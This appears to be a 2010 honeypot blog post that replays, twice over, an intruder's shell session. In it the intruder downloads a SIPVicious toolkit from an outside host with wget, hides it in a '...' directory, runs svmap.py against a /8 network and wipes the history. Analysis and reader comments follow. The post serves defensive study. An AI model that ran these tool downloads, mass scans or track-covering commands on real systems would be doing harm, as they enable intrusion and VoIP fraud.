Saturday, October 09, 2010
More Information on Sipvicous Attacks
I have more information on the sipvicious attacks. A monitored system was successfully attacked today. Unfortunately, the connection was lost. Something caused the WAN interface on my DSL router to fail. The attacker had a Romanian IP address, 89.42.192.73, which is likely a dynamically assigned IP address because a reverse lookup gives 73.192.42.89.in-addr.arpa domain name pointer 73-192-42-89.uen.ro.
The breach occurred around timestamp 2010-10-09 19:11:43 in my logs.
Here's a replay of the actions of the attacker:
sales:~# w
19:11:47 up 14 days, 3:53, 1 user, load average: 0.08, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 89.42.192.73 19:11 0.00s 0.00s 0.00s w
sales:~# uname -a
Linux sales 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
sales:~# cat /etc/issue
Debian GNU/Linux 5.0 \n \l
sales:~# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU E8200 @ 2.66GHz
stepping : 6
cpu MHz : 2133.305
cache size : 6144 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips : 4270.03
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU E8200 @ 2.66GHz
stepping : 6
cpu MHz : 2133.305
cache size : 6144 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips : 4266.61
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
sales:~# cd /var/tmp/
sales:/var/tmp# ls
sales:/var/tmp# yum -y install gcc sendmail screen
bash: yum: command not found
sales:/var/tmp# apt-get install gcc sendmail screen
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
gcc screen sendmail
0 upgraded, 3 newly installed, 0 to remove and 259 not upgraded.
Need to get 1302.2kB of archives.
After this operation, 2864.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main gcc 1.10-5 [352.2kB]
Get:2 http://ftp.debian.org stable/main screen 0.23-5 [179.2kB]
Get:3 http://ftp.debian.org stable/main sendmail 0.11-1 [771.2kB]
Fetched 1302.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking gcc (from .../archives/gcc_1.10-5_i386.deb) ...
Unpacking screen (from .../archives/screen_0.23-5_i386.deb) ...
Unpacking sendmail (from .../archives/sendmail_0.11-1_i386.deb) ...
Processing triggers for man-db ...
Setting up gcc (1.10-5) ...
Setting up screen (0.23-5) ...
Setting up sendmail (0.11-1) ...
sales:/var/tmp# mkdir :">..
sales:/var/tmp# mkdir "..."
sales:/var/tmp# cd "..."
sales:/var/tmp/...# wget http://wed2010.ucoz.com/sip.tgz
--2010-10-09 19:16:19-- http://wed2010.ucoz.com/sip.tgz
Connecting to wed2010.ucoz.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 388072 (378K) [application/octet-stream]
Saving to: `sip.tgz
100%[======================================>] 388,072 255K/s eta 0s
2010-10-09 19:16:20 (255 KB/s) - `sip.tgz' saved [388072/388072]
sales:/var/tmp/...# tar zxvf s
tar: s: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
sales:/var/tmp/...# locatre
sales:/var/tmp/...# locate sip.conf
bash: locate: command not found
sales:/var/tmp/...# apt-get install locate
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
locate
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 542.2kB of archives.
After this operation, 1192.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main locate 1.37-9 [542.2kB]
Fetched 542.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking locate (from .../archives/locate_1.37-9_i386.deb) ...
Processing triggers for man-db ...
Setting up locate (1.37-9) ...
sales:/var/tmp/...# locate sip.conf
locate: Segmentation fault
sales:/var/tmp/...# ls
sip.tgz
sales:/var/tmp/...# tar zxvf sip.tgz
sip
sip/useri
sip/totag
sip/TODO
sip/THANKS
sip/svwar.py
sip/svreport.py
sip/svmap.py
sip/svlearnfp.py
sip/svcrack.py
sip/sv.xsl
sip/staticheaders
sip/staticfull
sip/regen.pyc
sip/regen.py
sip/README
sip/pptable.pyc
sip/pptable.py
sip/parole
sip/helper.pyc
sip/helper.py
sip/HELP
sip/groupdb
sip/go
sip/fphelper.pyc
sip/fphelper.py
sip/Changelog
sip/.svn
sip/.svn/tmp
sip/.svn/tmp/text-base
sip/.svn/tmp/props
sip/.svn/tmp/prop-base
sip/.svn/text-base
sip/.svn/text-base/totag.svn-base
sip/.svn/text-base/TODO.svn-base
sip/.svn/text-base/THANKS.svn-base
sip/.svn/text-base/svwar.py.svn-base
sip/.svn/text-base/svreport.py.svn-base
sip/.svn/text-base/svmap.py.svn-base
sip/.svn/text-base/svlearnfp.py.svn-base
sip/.svn/text-base/svcrack.py.svn-base
sip/.svn/text-base/sv.xsl.svn-base
sip/.svn/text-base/staticheaders.svn-base
sip/.svn/text-base/staticfull.svn-base
sip/.svn/text-base/regen.py.svn-base
sip/.svn/text-base/README.svn-base
sip/.svn/text-base/pptable.py.svn-base
sip/.svn/text-base/helper.py.svn-base
sip/.svn/text-base/groupdb.svn-base
sip/.svn/text-base/fphelper.py.svn-base
sip/.svn/text-base/Changelog.svn-base
sip/.svn/props
sip/.svn/prop-base
sip/.svn/prop-base/totag.svn-base
sip/.svn/prop-base/svwar.py.svn-base
sip/.svn/prop-base/svreport.py.svn-base
sip/.svn/prop-base/svmap.py.svn-base
sip/.svn/prop-base/svlearnfp.py.svn-base
sip/.svn/prop-base/svcrack.py.svn-base
sip/.svn/prop-base/staticheaders.svn-base
sip/.svn/prop-base/staticfull.svn-base
sip/.svn/prop-base/groupdb.svn-base
sip/.svn/format
sip/.svn/entries
sip/.svn/all-wcprops
sales:/var/tmp/...# cd sip
sales:/var/tmp/.../sip# chmod 777 *
sales:/var/tmp/.../sip# chmod +x *
sales:/var/tmp/.../sip# ./svmap.py --randomize 89.0.0.0/8
___
{o,o}
|)__)
-"-"-
O RLY? yes
___
{o,o}
(__(|
-"-"-
NO WAI!
sales:/var/tmp/.../sip# cd ..
sales:/var/tmp/...# ls
sip.tgz sip
sales:/var/tmp/...# rm -rf *
sales:/var/tmp/...# w
sales:/var/tmp/...#
sales:/var/tmp/...#
sales:/var/tmp/...# history -c4
1 w
2 uname -a
3 cat /etc/issue
4 cat /proc/cpuinfo
5 cd /var/tmp/
6 ls
7 yum -y install gcc sendmail screen
8 apt-get install gcc sendmail screen
9 mkdir "..."
10 cd "..."
11 wget http://wed2010.ucoz.com/sip.tgz
12 tar zxvf s
13 locate sip.conf
14 apt-get install locate
15 locate sip.conf
16 ls
17 tar zxvf sip.tgz
18 cd sip
19 chmod 777 *
20 chmod +x *
21 ./svmap.py --randomize 89.0.0.0/8
22 cd ..
23 ls
24 rm -rf *
25 history -c4
sales:/var/tmp/...# history -c
The first thing the attacker does after getting oriented is to download screen and sendmail. Screen is a window session management tool. It's used to multiplex a terminal between several processes. If you get disconnected from the remote session, your session isn't lost. Sendmail is installed because very likely they wish to set up an open mail relay and/or communicate via email. Having your programs send their results via email is easy to script.
The attacker than goes to http://wed2010.ucoz.com and downloads sip.tgz using wget and unpacks it. He tries to check the sip.conf file which does not exist and then starts a sipvicious python scanning script called svmap.py. What is odd is that the attacker is randomly scanning the address space that he is coming from, i.e. ./svmap.py --randomize 89.0.0.0/8 is in the same network space as 89.42.192.73. This would tend to suggest that the attacker is either making an internal attack on his ISP look like an external attack from the U.S., or the attacker has compromised a Romanian system and wants to expand his range on the network without compromising his toehold. A third possibility is that it's a functionality test. The attacker has scanned that network, has a list of VOIP systems, and wants to check his VOIP scanner against that list to make sure it works and is not being filtered.
Team Cymru has a post from September 3rd, about the new phreaks using sipvicious to find and attack VOIP PBX systems. Unfortunately, since my router hosed and the connection was lost, it is likely that the attacker didn't finish configuring sipvicious or sendmail and could not reconnect to finish the session. The toolkit I have appears to have the following timestamp:
Sep 3 16:41 .svn
which coincides with a spike in port 5060 traffic for September 3, 2010 according to the SANS ISC 5060 Port Report.
September 2010 port 5060 traffic
It may just be a coincidence and signify that the attackers are using a fairly recent development version of sipvicious since I can't find any custom modifications to the code.
The breach occurred around timestamp 2010-10-09 19:11:43 in my logs.
Here's a replay of the actions of the attacker:
sales:~# w
19:11:47 up 14 days, 3:53, 1 user, load average: 0.08, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 89.42.192.73 19:11 0.00s 0.00s 0.00s w
sales:~# uname -a
Linux sales 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
sales:~# cat /etc/issue
Debian GNU/Linux 5.0 \n \l
sales:~# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU E8200 @ 2.66GHz
stepping : 6
cpu MHz : 2133.305
cache size : 6144 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips : 4270.03
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU E8200 @ 2.66GHz
stepping : 6
cpu MHz : 2133.305
cache size : 6144 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips : 4266.61
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
sales:~# cd /var/tmp/
sales:/var/tmp# ls
sales:/var/tmp# yum -y install gcc sendmail screen
bash: yum: command not found
sales:/var/tmp# apt-get install gcc sendmail screen
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
gcc screen sendmail
0 upgraded, 3 newly installed, 0 to remove and 259 not upgraded.
Need to get 1302.2kB of archives.
After this operation, 2864.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main gcc 1.10-5 [352.2kB]
Get:2 http://ftp.debian.org stable/main screen 0.23-5 [179.2kB]
Get:3 http://ftp.debian.org stable/main sendmail 0.11-1 [771.2kB]
Fetched 1302.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking gcc (from .../archives/gcc_1.10-5_i386.deb) ...
Unpacking screen (from .../archives/screen_0.23-5_i386.deb) ...
Unpacking sendmail (from .../archives/sendmail_0.11-1_i386.deb) ...
Processing triggers for man-db ...
Setting up gcc (1.10-5) ...
Setting up screen (0.23-5) ...
Setting up sendmail (0.11-1) ...
sales:/var/tmp# mkdir :">..
sales:/var/tmp# mkdir "..."
sales:/var/tmp# cd "..."
sales:/var/tmp/...# wget http://wed2010.ucoz.com/sip.tgz
--2010-10-09 19:16:19-- http://wed2010.ucoz.com/sip.tgz
Connecting to wed2010.ucoz.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 388072 (378K) [application/octet-stream]
Saving to: `sip.tgz
100%[======================================>] 388,072 255K/s eta 0s
2010-10-09 19:16:20 (255 KB/s) - `sip.tgz' saved [388072/388072]
sales:/var/tmp/...# tar zxvf s
tar: s: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
sales:/var/tmp/...# locatre
sales:/var/tmp/...# locate sip.conf
bash: locate: command not found
sales:/var/tmp/...# apt-get install locate
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
locate
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 542.2kB of archives.
After this operation, 1192.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main locate 1.37-9 [542.2kB]
Fetched 542.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking locate (from .../archives/locate_1.37-9_i386.deb) ...
Processing triggers for man-db ...
Setting up locate (1.37-9) ...
sales:/var/tmp/...# locate sip.conf
locate: Segmentation fault
sales:/var/tmp/...# ls
sip.tgz
sales:/var/tmp/...# tar zxvf sip.tgz
sip
sip/useri
sip/totag
sip/TODO
sip/THANKS
sip/svwar.py
sip/svreport.py
sip/svmap.py
sip/svlearnfp.py
sip/svcrack.py
sip/sv.xsl
sip/staticheaders
sip/staticfull
sip/regen.pyc
sip/regen.py
sip/README
sip/pptable.pyc
sip/pptable.py
sip/parole
sip/helper.pyc
sip/helper.py
sip/HELP
sip/groupdb
sip/go
sip/fphelper.pyc
sip/fphelper.py
sip/Changelog
sip/.svn
sip/.svn/tmp
sip/.svn/tmp/text-base
sip/.svn/tmp/props
sip/.svn/tmp/prop-base
sip/.svn/text-base
sip/.svn/text-base/totag.svn-base
sip/.svn/text-base/TODO.svn-base
sip/.svn/text-base/THANKS.svn-base
sip/.svn/text-base/svwar.py.svn-base
sip/.svn/text-base/svreport.py.svn-base
sip/.svn/text-base/svmap.py.svn-base
sip/.svn/text-base/svlearnfp.py.svn-base
sip/.svn/text-base/svcrack.py.svn-base
sip/.svn/text-base/sv.xsl.svn-base
sip/.svn/text-base/staticheaders.svn-base
sip/.svn/text-base/staticfull.svn-base
sip/.svn/text-base/regen.py.svn-base
sip/.svn/text-base/README.svn-base
sip/.svn/text-base/pptable.py.svn-base
sip/.svn/text-base/helper.py.svn-base
sip/.svn/text-base/groupdb.svn-base
sip/.svn/text-base/fphelper.py.svn-base
sip/.svn/text-base/Changelog.svn-base
sip/.svn/props
sip/.svn/prop-base
sip/.svn/prop-base/totag.svn-base
sip/.svn/prop-base/svwar.py.svn-base
sip/.svn/prop-base/svreport.py.svn-base
sip/.svn/prop-base/svmap.py.svn-base
sip/.svn/prop-base/svlearnfp.py.svn-base
sip/.svn/prop-base/svcrack.py.svn-base
sip/.svn/prop-base/staticheaders.svn-base
sip/.svn/prop-base/staticfull.svn-base
sip/.svn/prop-base/groupdb.svn-base
sip/.svn/format
sip/.svn/entries
sip/.svn/all-wcprops
sales:/var/tmp/...# cd sip
sales:/var/tmp/.../sip# chmod 777 *
sales:/var/tmp/.../sip# chmod +x *
sales:/var/tmp/.../sip# ./svmap.py --randomize 89.0.0.0/8
___
{o,o}
|)__)
-"-"-
O RLY? yes
___
{o,o}
(__(|
-"-"-
NO WAI!
sales:/var/tmp/.../sip# cd ..
sales:/var/tmp/...# ls
sip.tgz sip
sales:/var/tmp/...# rm -rf *
sales:/var/tmp/...# w
sales:/var/tmp/...#
sales:/var/tmp/...#
sales:/var/tmp/...# history -c4
1 w
2 uname -a
3 cat /etc/issue
4 cat /proc/cpuinfo
5 cd /var/tmp/
6 ls
7 yum -y install gcc sendmail screen
8 apt-get install gcc sendmail screen
9 mkdir "..."
10 cd "..."
11 wget http://wed2010.ucoz.com/sip.tgz
12 tar zxvf s
13 locate sip.conf
14 apt-get install locate
15 locate sip.conf
16 ls
17 tar zxvf sip.tgz
18 cd sip
19 chmod 777 *
20 chmod +x *
21 ./svmap.py --randomize 89.0.0.0/8
22 cd ..
23 ls
24 rm -rf *
25 history -c4
sales:/var/tmp/...# history -c
The first thing the attacker does after getting oriented is to download screen and sendmail. Screen is a window session management tool. It's used to multiplex a terminal between several processes. If you get disconnected from the remote session, your session isn't lost. Sendmail is installed because very likely they wish to set up an open mail relay and/or communicate via email. Having your programs send their results via email is easy to script.
The attacker than goes to http://wed2010.ucoz.com and downloads sip.tgz using wget and unpacks it. He tries to check the sip.conf file which does not exist and then starts a sipvicious python scanning script called svmap.py. What is odd is that the attacker is randomly scanning the address space that he is coming from, i.e. ./svmap.py --randomize 89.0.0.0/8 is in the same network space as 89.42.192.73. This would tend to suggest that the attacker is either making an internal attack on his ISP look like an external attack from the U.S., or the attacker has compromised a Romanian system and wants to expand his range on the network without compromising his toehold. A third possibility is that it's a functionality test. The attacker has scanned that network, has a list of VOIP systems, and wants to check his VOIP scanner against that list to make sure it works and is not being filtered.
Team Cymru has a post from September 3rd, about the new phreaks using sipvicious to find and attack VOIP PBX systems. Unfortunately, since my router hosed and the connection was lost, it is likely that the attacker didn't finish configuring sipvicious or sendmail and could not reconnect to finish the session. The toolkit I have appears to have the following timestamp:
Sep 3 16:41 .svn
which coincides with a spike in port 5060 traffic for September 3, 2010 according to the SANS ISC 5060 Port Report.
September 2010 port 5060 trafficIt may just be a coincidence and signify that the attackers are using a fairly recent development version of sipvicious since I can't find any custom modifications to the code.
Labels: sipvicious Romania sip, tgz
Comments:
<< Home
This could be a battle of wits that that Romanian has indulged in John. He/she might see your IT ability as a challenge.
Pete,
The bad guys tend to hit low hanging fruit. It's a quantity versus quality approach. Why expend great effort over compromising one system when you can compromise millions of systems easily and automatically via a viral worm, an attack program, or phishing email attack (getting the user to infect the system for you if it's a Windows system). The majority of these people are lazy and they can make good money with little effort creating botnets to sell to spammers and steal credit card information. The truly gifted and technical people write the software these people use or attack specific companies and their systems for big payoffs. It's the high tech equivalent of the common mugger versus the jewel thief or Brinks distribution center robber.
The honeypot was designed to catch anyone, but the network I'm running it on limits who I catch with it. To catch the really smart, bad types, I'd have to work for a high value target and have a sophisticated honeynet in place mimicking the targeted network.
One can argue that targeting Windows systems is like playing the lottery or the casino. Some days you lose and other days you hit the jackpot. This is the approach the Chinese have likely taken, though I'm sure they have cyber espionage groups for attack and penetration of military networks. Running Windows on a military network is just asking to be compromised and robbed of your secrets. The majority of Americans are no the brightest bulbs when it comes to understanding technology.
John
Post a Comment
The bad guys tend to hit low hanging fruit. It's a quantity versus quality approach. Why expend great effort over compromising one system when you can compromise millions of systems easily and automatically via a viral worm, an attack program, or phishing email attack (getting the user to infect the system for you if it's a Windows system). The majority of these people are lazy and they can make good money with little effort creating botnets to sell to spammers and steal credit card information. The truly gifted and technical people write the software these people use or attack specific companies and their systems for big payoffs. It's the high tech equivalent of the common mugger versus the jewel thief or Brinks distribution center robber.
The honeypot was designed to catch anyone, but the network I'm running it on limits who I catch with it. To catch the really smart, bad types, I'd have to work for a high value target and have a sophisticated honeynet in place mimicking the targeted network.
One can argue that targeting Windows systems is like playing the lottery or the casino. Some days you lose and other days you hit the jackpot. This is the approach the Chinese have likely taken, though I'm sure they have cyber espionage groups for attack and penetration of military networks. Running Windows on a military network is just asking to be compromised and robbed of your secrets. The majority of Americans are no the brightest bulbs when it comes to understanding technology.
John
<< Home
